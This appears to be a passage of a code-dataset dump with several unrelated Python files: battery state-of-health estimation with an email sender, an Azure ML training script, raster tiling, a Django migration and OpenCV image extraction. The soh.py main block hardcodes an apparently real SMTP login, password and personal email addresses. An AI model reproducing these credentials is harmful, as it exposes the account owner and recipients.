np.mean(subgroup[1]['battery_min_temperature'])])\n\n Ah = 0 # 累计电量\n Ampere_hour_integral = 0\n delta_Ah = [0]\n # 选择合适充电段\n\n if minsoc < minsoc_threshold_cur and socgap > socgap_threshold and \\\n maxsoc > maxsoc_threshold_cur:\n for i in range(0, len(subtime) - 1):\n time1 = subtime[i]\n time2 = subtime[i + 1]\n gaps = (time2 - time1)\n Ah = (abs(subcurrent[i]) + abs(subcurrent[i + 1])) / 2 * gaps / 3600 + Ah\n # delta_Ah.append(Ah)\n j += 1\n if 1 >= 100 * Ah / socgap / C_rate >= 0.8:\n k += 1\n cap = 100 * Ah / socgap\n soh = (cap / capinit) * 100\n # print(\"充电段\", chargeMode, \"有效\", j, \"寿命小于100%\", k, \"{\", minsoc, maxsoc, \"}\", \"socgap\", socgap, \\\n # \"--------积分容量值\", 100 * Ah / socgap, \"--------寿命值\", 100 * Ah / socgap / C_rate)\n temp_soh = self.temperature_correction(soh, T_average)\n temptable = pd.DataFrame({'carNum':[car_number], 'Time':[mintime],'time':[maxtime], \n 'cap': [cap], 'Soh': [soh],'temp_fix_soh': [temp_soh],'minSOC': [minsoc], \n 'maxSOC': [maxsoc], 'chargeMode': [chargeMode], 'mileage': [mileage]})\n self.abstable = pd.concat([self.abstable, temptable], axis=0, sort=False, ignore_index=True)\n return self.abstable\n\n # Temperature correction module\n def temperature_correction(self, soh, temperature, fixed_temperature=25, alpha=0.002):\n temp_fix_soh = soh * (\n 1 - alpha * (temperature - fixed_temperature) / 10) # 温度修正,修正至25℃\n return temp_fix_soh\n\n def db_dataCalculation(self,db_data):\n pass\n\nclass SOH:\n def __init__(self, params=None):\n # 初始化参数 params\n # 如果没有传参数, 则使用默认的参数 default_params[实例成员]\n self.default_params = {'c_rate': 159, 'delivery_time': 1483200000, 'SOH_floor': 0.60, 'mileage_limit': 200000}\n # 初始化模糊变量参数集\n self.parameter_a = {'x_min_zmf10': 0, 'x_min_zmf11': 8.333, 'x_min_trimf1': [0, 16.67, 33.33],\n 'x_min_trimf2': [8.333, 25, 41.67],\n 'x_min_trimf3': [16.67, 33.33, 50],\n 'x_min_smf10': 41.67,\n 'x_min_smf11': 50,\n 'x_E_zmf10': 0,\n 'x_E_zmf11': 0.1125,\n 'x_E_smf10': 0.1125,\n 'x_E_smf11': 0.15,\n 'y_zmf10': 0.01,\n 'y_zmf11': 0.1575,\n 'y_trimf1': [0.01, 0.1575, 0.305],\n 'y_trimf2': [0.1575, 0.305, 0.4525],\n 'y_trimf3': [0.305, 0.4525, 0.6],\n 'y_smf10': 0.4525,\n 'y_smf11': 0.6,\n 'y_zmf20': 0.01,\n 'y_zmf21': 0.1,\n 'y_trimf4': [0.541, 5.91, 11.81]}\n self.parameter_b = {'x_min_zmf10': 0,\n 'x_min_zmf11': 8.333,\n 'x_min_trimf1': [0, 16.67, 33.33],\n 'x_min_trimf2': [8.333, 25, 41.67],\n 'x_min_trimf3': [16.67, 33.33, 50],\n 'x_min_smf10': 41.67,\n 'x_min_smf11': 50,\n 'x_E_zmf10': 0,\n 'x_E_zmf11': 0.1125,\n 'x_E_smf10': 0.1125,\n 'x_E_smf11': 0.15,\n 'y_zmf10': 0.5,\n 'y_zmf11': 0.625,\n 'y_trimf1': [0.5, 0.625, 0.75],\n 'y_trimf2': [0.625, 0.75, 0.875],\n 'y_trimf3': [0.75, 0.875, 1],\n 'y_smf10': 0.875,\n 'y_smf11': 1,\n 'y_zmf20': 0.5,\n 'y_zmf21': 0.575,\n 'y_trimf4': [0.95, 5.5, 10.5]}\n self.x_minSOC_range_a = np.arange(0, 50, 0.01, np.float32)\n self.x_E_range_a = np.arange(0, 0.15, 0.001, np.float32)\n self.y_alpha_range_a = np.arange(0.01, 0.6, 0.001, np.float32)\n self.x_minSOC_range_b = np.arange(0, 50, 0.1, np.float32)\n self.x_E_range_b = np.arange(0, 0.15, 0.001, np.float32)\n self.y_alpha_range_b = np.arange(0.5, 1, 0.001, np.float32)\n self.setParams(params)\n\n def setParams(self, params):\n if params is None:\n params = {}\n self.default_params.update(params)\n\n # @pysnooper.snoop(output='./log/main.log')\n def run(self, data, param_dict=None):\n # print(\"传参前:\",self.default_params)\n self.setParams(param_dict)\n # print(\"传参后:\",self.default_params)\n\n klfu = KalFuzzy(parameter_a=self.parameter_a,\n x_minSOC_range_a=self.x_minSOC_range_a,\n x_E_range_a=self.x_E_range_a,\n y_alpha_range_a=self.y_alpha_range_a,\n parameter_b=self.parameter_b,\n x_E_range_b=self.x_E_range_b,\n x_minSOC_range_b=self.x_minSOC_range_b,\n y_alpha_range_b=self.y_alpha_range_b)\n\n data_cal = DataCalculation()\n\n \n c_rate = self.default_params['c_rate']\n table = data_cal.get_singlecar_soh(car=data, C_rate=c_rate)\n # table.to_csv(\"./tt.csv\", index=False) \n abstable, _ = klfu.run(table)\n\n af = AlFit()\n delivery_time = self.default_params['delivery_time']\n soh_limit = self.default_params['SOH_floor']\n \n \n result = {}\n time_param = {}\n mile_param = {}\n if abstable.shape[0] != 0:\n ret_val, mil_val,damping_decrement, soh = af.arrhenius_soh(abstable)\n rem_day = af.remaining_time(abstable, delivery_time,soh,soh_limit)\n if soh[-1]>100:\n soh[-1]=100\n result['SOH'] = soh[-1]\n result['Average_decay_rate_of_SOH'] = damping_decrement['rate_avg']\n result['total_decay_rate_of_SOH'] = damping_decrement[\"rate\"]\n time_param['a'] = ret_val['a']\n time_param['b'] = ret_val['b']\n time_param['c'] = ret_val['c']\n mile_param['a'] = mil_val['a']\n mile_param['b'] = mil_val['b']\n mile_param['c'] = mil_val['c']\n result['time_param'] = time_param\n result['mile_param'] = mile_param\n result['remain_time'] = rem_day\n else:\n result['state'] = \"no_data\"\n soh = None\n damping_decrement, ret_val = None, None\n result['SOH'] = None\n result['Average_decay_rate_of_SOH'] = None\n result['total_decay_rate_of_SOH'] = None\n time_param['a'] = None\n time_param['b'] = None\n time_param['c'] = None\n mile_param['a'] = None\n mile_param['b'] = None\n mile_param['c'] = None\n result['time_param'] = time_param\n result['mile_param'] = mile_param\n result['remain_time'] = None\n\n return result\n\n def run_day(self, data, param_dict=None):\n # print(\"传参前:\",self.default_params)\n self.setParams(param_dict)\n # print(\"传参后:\",self.default_params)\n data_cal = DataCalculation() \n c_rate = self.default_params['c_rate']\n # table = data_cal.get_singlecar_soh(car=data, C_rate=c_rate)\n process = data_cal.Ampere_hour_integral(data,C_rate=c_rate)\n return process\n def run_dbdata(self, data, param_dict=None):\n # print(\"传参前:\",self.default_params)\n self.setParams(param_dict)\n # print(\"传参后:\",self.default_params)\n\n klfu = KalFuzzy(parameter_a=self.parameter_a,\n x_minSOC_range_a=self.x_minSOC_range_a,\n x_E_range_a=self.x_E_range_a,\n y_alpha_range_a=self.y_alpha_range_a,\n parameter_b=self.parameter_b,\n x_E_range_b=self.x_E_range_b,\n x_minSOC_range_b=self.x_minSOC_range_b,\n y_alpha_range_b=self.y_alpha_range_b)\n\n data_cal = DataCalculation() \n c_rate = self.default_params['c_rate']\n\n # 更新读取数据库返回结果,data为数据库传入结果\n # table = data_cal.db_dataCalculation(car=data, C_rate=c_rate)\n # print(\"dataframe,\",data) \n abstable = klfu.run_dbdata(data)\n\n af = AlFit()\n delivery_time = self.default_params['delivery_time']\n soh_limit = self.default_params['SOH_floor']\n \n \n result = {}\n time_param = {}\n mile_param = {}\n if abstable.shape[0] != 0:\n ret_val, mil_val,damping_decrement, soh = af.arrhenius_soh(abstable)\n rem_day = af.remaining_time(abstable, delivery_time,soh,soh_limit)\n if soh[-1]>100:\n soh[-1]=100\n result['SOH'] = soh[-1]\n result['Average_decay_rate_of_SOH'] = damping_decrement['rate_avg']\n result['total_decay_rate_of_SOH'] = damping_decrement[\"rate\"]\n time_param['a'] = ret_val['a']\n time_param['b'] = ret_val['b']\n time_param['c'] = ret_val['c']\n mile_param['a'] = mil_val['a']\n mile_param['b'] = mil_val['b']\n mile_param['c'] = mil_val['c']\n result['time_param'] = time_param\n result['mile_param'] = mile_param\n result['remain_time'] = rem_day\n else:\n result['state'] = \"no_data\"\n soh = None\n damping_decrement, ret_val = None, None\n result['SOH'] = None\n result['Average_decay_rate_of_SOH'] = None\n result['total_decay_rate_of_SOH'] = None\n time_param['a'] = None\n time_param['b'] = None\n time_param['c'] = None\n mile_param['a'] = None\n mile_param['b'] = None\n mile_param['c'] = None\n result['time_param'] = time_param\n result['mile_param'] = mile_param\n result['remain_time'] = None\n\n return result \n\n def draw_picture_mile(self,abstable):\n \"\"\"\n [里程可视化]\n\n Arguments:\n abstable {[type]} -- [description]\n \"\"\"\n init_soh = abstable['Soh'].values\n temp_soh = abstable['temp_fix_soh'].values\n ekf_soh = abstable['resultSOH'].values\n ahen_soh = abstable['arrhenius_soh'].values\n mile = abstable['mileage'].values\n carNum = np.min(abstable['carNum'].values)\n # print(\"ok\")\n import os\n path = os.getcwd() + '/picture/' # 在当前路径中创建一个自定义名称的文件夹\n if os.path.exists(path):\n print(\"exist\")\n else:\n os.mkdir(path)\n from matplotlib import pyplot as plt\n plt.rcParams['font.sans-serif'] = ['KaiTi'] \n plt.title(str(carNum))\n plt.xlabel(\"mile\")\n plt.ylabel(\"SOH\")\n plt.plot(mile, ahen_soh, label=\"Arrhenius fitting curve\", color=\"yellow\")\n plt.plot(mile, ekf_soh, label=\"Kalman fuzzy filte curve\", color=\"grey\")\n # plt.plot(mile, temp_soh, label=\"Temperature correction curve\", color=\"orange\")\n # plt.plot(mile, init_soh, label=\"Original battery life curve\", color=\"blue\")\n plt.scatter(mile, ahen_soh, s=4, color=\"black\")\n plt.scatter(mile, ekf_soh, s=4, color=\"black\")\n # plt.scatter(mile, temp_soh, s=4, color=\"black\")\n # plt.scatter(mile, init_soh, s=4, color=\"black\")\n plt.legend()\n plt.savefig(path + 'car' + str((carNum)) + '.png')\n plt.close('all')\n\n def draw_picture_charge(self,abstable):\n \"\"\"\n [充电次数可视化]\n\n Arguments:\n abstable {[type]} -- [description]\n \"\"\"\n init_soh = abstable['Soh'].values\n temp_soh = abstable['temp_fix_soh'].values\n ekf_soh = abstable['resultSOH'].values\n ahen_soh = abstable['arrhenius_soh'].values\n mile = abstable['mileage'].values\n carNum = np.min(abstable['carNum'].values)\n\n import os\n path = os.getcwd() + '/picture50/' # 在当前路径中创建一个自定义名称的文件夹\n if os.path.exists(path):\n pass\n else:\n os.mkdir(path)\n from matplotlib import pyplot as plt\n plt.rcParams['font.sans-serif'] = ['KaiTi'] \n plt.title(str(carNum))\n plt.xlabel(\"charge_time\")\n plt.ylabel(\"SOH\")\n plt.plot(range(len(ahen_soh)), ahen_soh, label=\"Arrhenius fitting curve\", color=\"yellow\")\n plt.plot(range(len(ekf_soh)), ekf_soh, label=\"Kalman fuzzy filte curve\", color=\"grey\")\n plt.plot(range(len(temp_soh)), temp_soh, label=\"Temperature correction curve\", color=\"orange\")\n plt.plot(range(len(init_soh)), init_soh, label=\"Original battery life curve\", color=\"blue\")\n plt.legend()\n plt.savefig(path + 'car' + str(int(carNum)) + '.png')\n plt.close('all')\n\n def write_to_database(self,):\n pass\n\n def zip_file(self,path):\n import zipfile\n z = zipfile.ZipFile('my-archive.zip', 'w', zipfile.ZIP_DEFLATED)\n # path = \"/home/johnf\"\n for dirpath, dirnames, filenames in os.walk(path):\n for filename in filenames:\n z.write(os.path.join(dirpath, filename))\n z.close()\n def del_file(self,path):\n ls = os.listdir(path)\n for i in ls:\n c_path = os.path.join(path, i)\n if os.path.isdir(c_path):\n self.__del_file(c_path)\n else:\n os.remove(c_path)\n\n\nclass SendEMail(object):\n \"\"\"封装发送邮件类\"\"\"\n def __init__(self, emainConfig):\n\n self.msg_from = emainConfig['msg_from']\n self.password = emainConfig['pwd']\n host = emainConfig['host']\n port = emainConfig['port']\n # 邮箱服务器地址和端口\n self.smtp_s = smtplib.SMTP_SSL(host=host, port=port)\n # 发送方邮箱账号和授权码\n self.smtp_s.login(user=self.msg_from, password=self.password)\n\n def send_text(self, to_user, content, subject, content_type='plain'):\n \"\"\"\n 发送文本邮件\n :param to_user: 对方邮箱\n :param content: 邮件正文\n :param subject: 邮件主题\n :param content_type: 内容格式:'plain' or 'html'\n :return:\n \"\"\"\n msg = MIMEText(content, _subtype=content_type, _charset=\"utf8\")\n msg[\"From\"] = self.msg_from\n msg[\"To\"] = to_user\n msg[\"subject\"] = subject\n self.smtp_s.send_message(msg, from_addr=self.msg_from, to_addrs=to_user)\n def send_file(self, to_user, content, subject, reports_paths, content_type='plain'):\n \"\"\"\n 发送带文件���邮件\n :param to_user: 对方邮箱\n :param content: 邮件正文\n :param subject: 邮件主题\n :param reports_path: 文件路径\n :param filename: 邮件中显示的文件名称\n :param content_type: 内容格式\n \"\"\"\n msg = MIMEMultipart()\n msg[\"From\"] = self.msg_from\n msg[\"To\"] = ','.join(to_user)\n msg[\"subject\"] = subject\n\n #正文\n text_msg = MIMEText(_text = content, _subtype=content_type, _charset=\"utf8\")\n msg.attach(text_msg)\n\n #附件\n for reports_path in reports_paths:\n if \".jpg\" in reports_path:\n jpg_name = reports_path.split(\"\\\\\")[-1]\n file_content = open(reports_path, \"rb\").read()\n file_msg = MIMEApplication(file_content,_subtype=content_type, _charset=\"utf8\")\n file_msg.add_header('content-Disposition', 'attachment',filename= jpg_name)\n msg.attach(file_msg)\n\n if \".csv\" in reports_path:\n jpg_name = reports_path.split(\"\\\\\")[-1]\n file_content = open(reports_path, \"rb\").read()\n file_msg = MIMEApplication(file_content,_subtype=content_type, _charset=\"utf8\")\n file_msg.add_header('content-Disposition', 'attachment',filename= jpg_name)\n msg.attach(file_msg)\n\n if \".tar\" in reports_path:\n jpg_name = reports_path.split(\"\\\\\")[-1]\n file_content = open(reports_path, \"rb\").read()\n file_msg = MIMEApplication(file_content,_subtype=content_type, _charset=\"utf8\")\n file_msg.add_header('content-Disposition', 'attachment',filename= jpg_name)\n msg.attach(file_msg)\n\n if \".pdf\" in reports_path:\n jpg_name = reports_path.split(\"\\\\\")[-1]\n file_content = open(reports_path, \"rb\").read()\n file_msg = MIMEApplication(file_content,_subtype=content_type, _charset=\"utf8\")\n file_msg.add_header('content-Disposition', 'attachment',filename= jpg_name)\n msg.attach(file_msg)\n\n if \".docx\" in reports_path:\n jpg_name = reports_path.split(\"\\\\\")[-1]\n file_content = open(reports_path, \"rb\").read()\n file_msg = MIMEApplication(file_content,_subtype=content_type, _charset=\"utf8\")\n file_msg.add_header('content-Disposition', 'attachment',filename= jpg_name)\n msg.attach(file_msg)\n\n self.smtp_s.send_message(msg, from_addr=self.msg_from, to_addrs=to_user)\n\n def send_img(self, to_user, subject, content, filename, content_type='html'):\n '''\n 发送带图片的邮件\n :param to_user: 对方邮箱\n :param subject: 邮件主题\n :param content: 邮件正文\n :param filename: 图片路径\n :param content_type: 内容格式\n '''\n subject = subject\n msg = MIMEMultipart('related')\n # Html正文必须包含\"imageid\"\n content = MIMEText(content, _subtype=content_type, _charset=\"utf8\")\n msg.attach(content)\n msg['Subject'] = subject\n msg['From'] = self.msg_from\n msg['To'] = to_user\n\n with open(filename, \"rb\") as file:\n img_data = file.read()\n\n img = MIMEImage(img_data)\n img.add_header('Content-Disposition', 'attachment', filename='16特征.xlsx')\n # img.add_header('Content-ID', 'imageid')\n msg.attach(img)\n self.smtp_s.sendmail(self.msg_from, to_user, msg.as_string())\n\n def Text(self):\n\n DeltaTime = (date.today() - timedelta(days=10)).strftime(\"%Y-%m-%d\")\n\n content = '\\t本次数据从{}到{},' \\\n '以下压缩包包含一致性算法所需参数,寿命预测算法所需参数。\\n(压缩包文件名:数据汇总日期,\\nexcel文件名:' \\\n '大写英文字母加上订单Id,' \\\n '\\n其中大写英文字母A代表完整数据,起始soc低于40,且关于单体最大最小电压全部无异常,一致性算法和寿命预测算法均可用。' \\\n '\\n大写英文字母B代表完整数据,起始soc高于40,关于单体最大最小电压全部无异常,一致性算法可用。' \\\n '\\n大写英文字母C代表不完整数据,起始soc低于40,关于单体最大最小电压异常数据,寿命预测算法可用,一致性算法不可用。' \\\n '\\n大写英文字母D代表不完整数据 起始SOC高于40 ,关于最大单体电压或者最低单体电压估算错误,一致性算法不可用,)'\\\n .format(str(DeltaTime),str(date.today()))\n return content\n\nif __name__ == '__main__':\n EMAIL_Config = {'host': 'hwsmtp.exmail.qq.com',\n 'port': 465,\n 'msg_from': 'huangshaobo@thinkenergy.net.cn',\n 'pwd': 'AM9jSKpRy49pyLyj'}\n emailTets = SendEMail(EMAIL_Config)\n filename = ''\n content = ''\n subject = '数据分析汇总' #\n user = ['maguoxing2020@163.com', '1298573296@qq.com']\n pathFile = filename + '.tar'\n emailTets.send_file(to_user=user, subject=subject, content=content, reports_paths=[pathFile])\n\n # ################################# Batch test ############################\n # path = 'D:/company/比亚迪项目/比亚迪参数化/byd_batch1/'\n # # path = 'D:/company/比亚迪项目/BYD/'\n # path_list = os.listdir(path)\n\n # param_dict = {\n # 'delivery_time':1483200000,\n # 'SOH_floor':0.69,\n # 'mileage_limit':200000,\n # }\n # for filename in (path_list):\n # data_input = pd.read_csv(os.path.join(path, filename), encoding='gbk') # The data load\n # # print(\"data_input\",data_input)\n # print(filename)\n # dataframe = data_input.rename(columns={'car_number': 'car_number', # Data format adjustment, header\n # '数据时间': 'abs_time',\n # 'SOC': 'soc',\n # '总电流': 'charge_current',\n # '最高温度值': 'battery_max_temperature',\n # '最低温度值': 'battery_min_temperature',\n # '累计里程': 'mileage',\n # '充电次数': 'charge_number'\n # })\n # ###############################################################################\n # s = SOH()\n # reslut = s.run_day(dataframe)\n # # draw_picture_mile(abstable)\n # print(filename, reslut)\n # print(\"\\n\")\n\n data_input = pd.read_csv(os.path.join('D:/company/比亚迪项目/比亚迪需求每天调用一次每月调用一次/', 'df.csv'), encoding='gbk') # The data load\n print(\"data_input\",data_input)\n dataframe = data_input.rename(columns={'vin': 'car_number', # Data format adjustment, header\n '数据时间': 'abs_time',\n 'SOC': 'soc',\n '总电流': 'charge_current',\n '最高温度值': 'battery_max_temperature',\n '最低温度值': 'battery_min_temperature',\n '累计里程': 'mileage',\n '充电次数': 'charge_number'\n })\n###############################################################################\n s = SOH()\n # reslut = s.run_day(dataframe)\n reslut = s.run_dbdata(dataframe)\n # draw_picture_mile(abstable)\n print(\"reslut\", reslut)\n print(\"\\n\")\n","sub_path":"soh.py","file_name":"soh.py","file_ext":"py","file_size_in_byte":44578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"541482125","text":"\n\nfrom xai.brain.wordbase.verbs._demarcate import _DEMARCATE\n\n#calss header\nclass _DEMARCATED(_DEMARCATE, ):\n\tdef __init__(self,): \n\t\t_DEMARCATE.__init__(self)\n\t\tself.name = \"DEMARCATED\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"demarcate\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_demarcated.py","file_name":"_demarcated.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"377853374","text":"import argparse\r\nimport os\r\nimport numpy as np\r\nimport pandas as pd\r\nimport joblib\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.metrics import mean_squared_error\r\nfrom sklearn.model_selection import train_test_split\r\nfrom azureml.core.run import Run\r\nfrom azureml.data.dataset_factory import TabularDatasetFactory\r\n\r\n# Retrive current run's information\r\n\r\nrun = Run.get_context()\r\nws = run.experiment.workspace\r\nfound = False\r\nkey = \"heart-disease-from-kaggle\"\r\n\r\nif key in ws.datasets.keys(): \r\n found = True\r\n dataset = ws.datasets[key] \r\n\r\n# Split data into train and test set\r\n\r\ndef clean_data(data):\r\n\r\n x_df = data.to_pandas_dataframe().dropna()\r\n y_df = x_df.pop(\"DEATH_EVENT\")\r\n return x_df, y_df\r\n\r\nX, y = clean_data(dataset)\r\n\r\nx_train, x_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 42)\r\n\r\n\r\ndef main():\r\n # Add arguments to script\r\n parser = argparse.ArgumentParser()\r\n\r\n parser.add_argument('--C', type=float, default=1.0)\r\n parser.add_argument('--max_iter', type=int, default=100)\r\n\r\n args = parser.parse_args()\r\n\r\n run.log(\"Regularization Strength: \", np.float(args.C))\r\n run.log(\"Max iterations: \", np.int(args.max_iter))\r\n\r\n model = LogisticRegression(C=args.C, max_iter=args.max_iter).fit(x_train, y_train)\r\n\r\n accuracy = model.score(x_test, y_test)\r\n run.log(\"Accuracy\", np.float(accuracy))\r\n \r\n os.makedirs('outputs', exist_ok=True)\r\n joblib.dump(model, 'outputs/model.joblib')\r\n\r\n\r\nif __name__ == '__main__':\r\n main()","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"326050039","text":"\"\"\"Internal process used by mapchete pyramid command.\"\"\"\n\nimport logging\nimport numpy as np\nimport numpy.ma as ma\n\nlogger = logging.getLogger(__name__)\n\n\ndef _stretch_array(a, minval, maxval):\n return (\n (a.astype(\"float32\") - minval) / (maxval - minval) * 255\n ).astype(\"uint8\")\n\n\ndef execute(\n mp,\n resampling=\"nearest\",\n scale_method=None,\n scales_minmax=None,\n **kwargs\n):\n \"\"\"Read, stretch and return tile.\"\"\"\n with mp.open(\"raster\", resampling=resampling) as raster_file:\n\n # exit if input tile is empty\n if raster_file.is_empty():\n return \"empty\"\n\n # actually read data and iterate through bands\n scaled = ()\n mask = ()\n raster_data = raster_file.read()\n if raster_data.ndim == 2:\n raster_data = ma.expand_dims(raster_data, axis=0)\n if not scale_method:\n scales_minmax = [(i, i) for i in range(len(raster_data))]\n\n for band, (scale_min, scale_max) in zip(raster_data, scales_minmax):\n if scale_method in [\"dtype_scale\", \"minmax_scale\"]:\n scaled += (_stretch_array(band, scale_min, scale_max), )\n elif scale_method == \"crop\":\n scaled += (np.clip(band, scale_min, scale_max), )\n else:\n scaled += (band, )\n mask += (band.mask, )\n\n return ma.masked_array(np.stack(scaled), np.stack(mask))\n","sub_path":"mapchete/processes/pyramid/tilify.py","file_name":"tilify.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"339402219","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='HubspotBlogPost',\n fields=[\n ('id', models.AutoField(auto_created=True, serialize=False, verbose_name='ID', primary_key=True)),\n ('title', models.CharField(verbose_name='Titel', max_length=200)),\n ('slug', models.CharField(verbose_name='Slug', max_length=200)),\n ('excerpt', models.TextField(blank=True, null=True, verbose_name='Ausschnitt')),\n ('content_html', models.TextField(blank=True, null=True, verbose_name='Inhalt')),\n ('author', models.CharField(blank=True, null=True, verbose_name='Autor', max_length=200)),\n ('date_published', models.DateTimeField(blank=True, null=True, verbose_name='Datum')),\n ],\n ),\n ]\n","sub_path":"hubspot_blog/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"400580240","text":"import cv2\nimport numpy as np\n\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\n\n# TODO write docstrings\n# TODO tests\n# TODO GUI\n\n\ndef get_max_contour(contours):\n if not contours:\n raise ValueError(\"contour array is empty\")\n return max(contours, key=lambda c: cv2.contourArea(np.array(c)))\n\n\ndef get_contours(img, blur_kernel_size=9, sigma=75, threshold=1):\n blurred = cv2.bilateralFilter(img, blur_kernel_size, sigma, sigma)\n greyscale = cv2.cvtColor(blurred, cv2.COLOR_BGR2GRAY) if len(blurred.shape) > 2 else blurred\n _, threshold_img = cv2.threshold(greyscale, threshold, 255, cv2.THRESH_BINARY)\n contours, hierarchy = cv2.findContours(threshold_img, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n return contours, hierarchy, threshold_img\n\n\ndef show_images(**kwargs):\n for image_name in kwargs:\n cv2.imshow(image_name, kwargs[image_name])\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n\ndef crop_image(img, contour):\n x, y, w, h = cv2.boundingRect(contour)\n return img[y: y + h, x: x + w]\n\n\ndef filter_contours_by_area_difference(max_contour, difference, contours):\n if len(contours) <= 1:\n return max_contour\n max_area = cv2.contourArea(max_contour)\n max_difference = max_area * difference\n return [c for c in contours if max_area - cv2.contourArea(c) <= max_difference]\n\n\ndef merge_contours(contours):\n if len(contours) < 2:\n return contours\n return cv2.convexHull(np.vstack(contours))\n\n\ndef detect_edges_canny(img, threshold1, threshold2, dilate_iterations=1, erode_iterations=1,\n dilate_kernel_dim=3, erode_kernel_dim=3):\n dilate_kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (dilate_kernel_dim, dilate_kernel_dim))\n erode_kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (erode_kernel_dim, erode_kernel_dim))\n edges = cv2.Canny(img, threshold1, threshold2)\n edges = cv2.dilate(edges, dilate_kernel, iterations=dilate_iterations)\n return cv2.erode(edges, erode_kernel, iterations=erode_iterations)\n\n\ndef binarize(img, bckg_color):\n bin_img = np.zeros_like(img).reshape(-1, 3)\n for i, img_px in enumerate(img.reshape(-1, 3)):\n if not all(img_px == bckg_color):\n bin_img[i] = WHITE\n return bin_img.reshape(*img.shape)\n\n\ndef extract_from_mono(img, max_area_diff=0.8, bckg_color=WHITE, sigma=0, threshold=254, target_bckg=WHITE):\n bin_img = binarize(img, bckg_color)\n contours, hierarchy, threshold_img = get_contours(bin_img, sigma=sigma, threshold=threshold)\n max_contour = get_max_contour(contours)\n valid_contours = filter_contours_by_area_difference(max_contour, max_area_diff, contours)\n mask = get_mask(img, valid_contours, sigma=0)\n extracted = extract_from_mask(img, mask, target_bckg=target_bckg)\n show_images(bin_img=bin_img, mask=mask, extracted=extracted)\n return extracted, valid_contours, threshold_img, mask\n\n\ndef extract_from_mask(img, mask, target_bckg=WHITE):\n extracted = np.zeros_like(img)\n extracted[:, :] = target_bckg\n extracted[mask == 255] = img[mask == 255]\n return extracted\n\n\ndef get_mask(img, contours, dilate_iterations=1, erode_iterations=1,\n dilate_kernel_dim=3, erode_kernel_dim=3, blur_kernel_dim=3, sigma=75):\n dilate_kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (dilate_kernel_dim, dilate_kernel_dim))\n erode_kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (erode_kernel_dim, erode_kernel_dim))\n mask = np.zeros_like(img)\n for contour in contours:\n mask = cv2.fillConvexPoly(mask, contour, WHITE)\n mask = cv2.dilate(mask, dilate_kernel, iterations=dilate_iterations)\n mask = cv2.erode(mask, erode_kernel, iterations=erode_iterations)\n return cv2.bilateralFilter(mask, blur_kernel_dim, sigma, sigma)\n\n\ndef extract_with_edge_detection(img, threshold1, threshold2, max_area_diff=0.8, target_bckg=WHITE,\n dilate_iterations=1, erode_iterations=1, dilate_kernel_dim=3, erode_kernel_dim=3):\n edges = detect_edges_canny(img, threshold1, threshold2, dilate_iterations, erode_iterations,\n dilate_kernel_dim, erode_kernel_dim)\n contours, _, threshold_img = get_contours(edges)\n max_contour = get_max_contour(contours)\n valid_contours = filter_contours_by_area_difference(max_contour, max_area_diff, contours)\n mask = get_mask(img, valid_contours)\n extracted = extract_from_mask(img, mask, target_bckg)\n return extracted, valid_contours, edges, mask\n\n\ndef resize_absolute(img, target_h, target_w):\n if target_w < 0 or target_h < 0:\n raise ValueError(\"image dimensions smaller than 0\")\n h, w, *_ = img.shape\n interpolation = cv2.INTER_AREA if (target_h < h or target_w < w) else cv2.INTER_CUBIC\n return cv2.resize(img, (target_w, target_h), interpolation=interpolation)\n\n\ndef resize_ratio(img, ratio):\n if ratio < 0:\n raise ValueError(\"resize ratio smaller than 0\")\n interpolation = cv2.INTER_AREA if ratio < 1 else cv2.INTER_CUBIC\n return cv2.resize(img, (0, 0), fx=ratio, fy=ratio, interpolation=interpolation)\n\n\ndef read(path):\n return cv2.imread(path)\n\n\ndef write(path):\n return cv2.imwrite(path)\n\n\ndef main():\n img = read(\"test/test_white_mono_multi.jpg\")\n extracted, contours, _, _ = extract_from_mono(img)\n cropped = crop_image(extracted, merge_contours(contours))\n resized_big = resize_absolute(cropped, 20, 1000)\n resized_small = resize_ratio(cropped, 0.5)\n show_images(extreacted=extracted, resized=resized_big, resized_small=resized_small)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"outcut.py","file_name":"outcut.py","file_ext":"py","file_size_in_byte":5585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"572688181","text":"import csv\nimport numpy as np\nimport pandas\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pylab\n\ngames_for_learning = []\n\nwith open(\"data_for_learning_advanced/all_data_merged.csv\", \"r\") as file:\n reader = csv.reader(file, delimiter=',')\n for row in reader:\n games_for_learning.append(row)\n\nx = np.array(games_for_learning)\n\nx = x[:, 4:19]\n\ncasted_x = np.zeros((len(x), 15))\n\nfor i in range(0, len(x)):\n for j in range(0, 15):\n casted_x[i, j] = round(float(x[i, j]), 2)\n\ndata = pandas.DataFrame(casted_x, columns=[\"ort\", \"drt\", \"nrt\", \"asp\", \"a/t\", \"art\", \"orebp\", \"drebp\", \"rebp\", \"tor\", \"efp\", \"tsp\", \"usp\", \"pc\", \"pie\"])\ncorr = data.corr()\nprint(corr)\nsns.heatmap(corr, 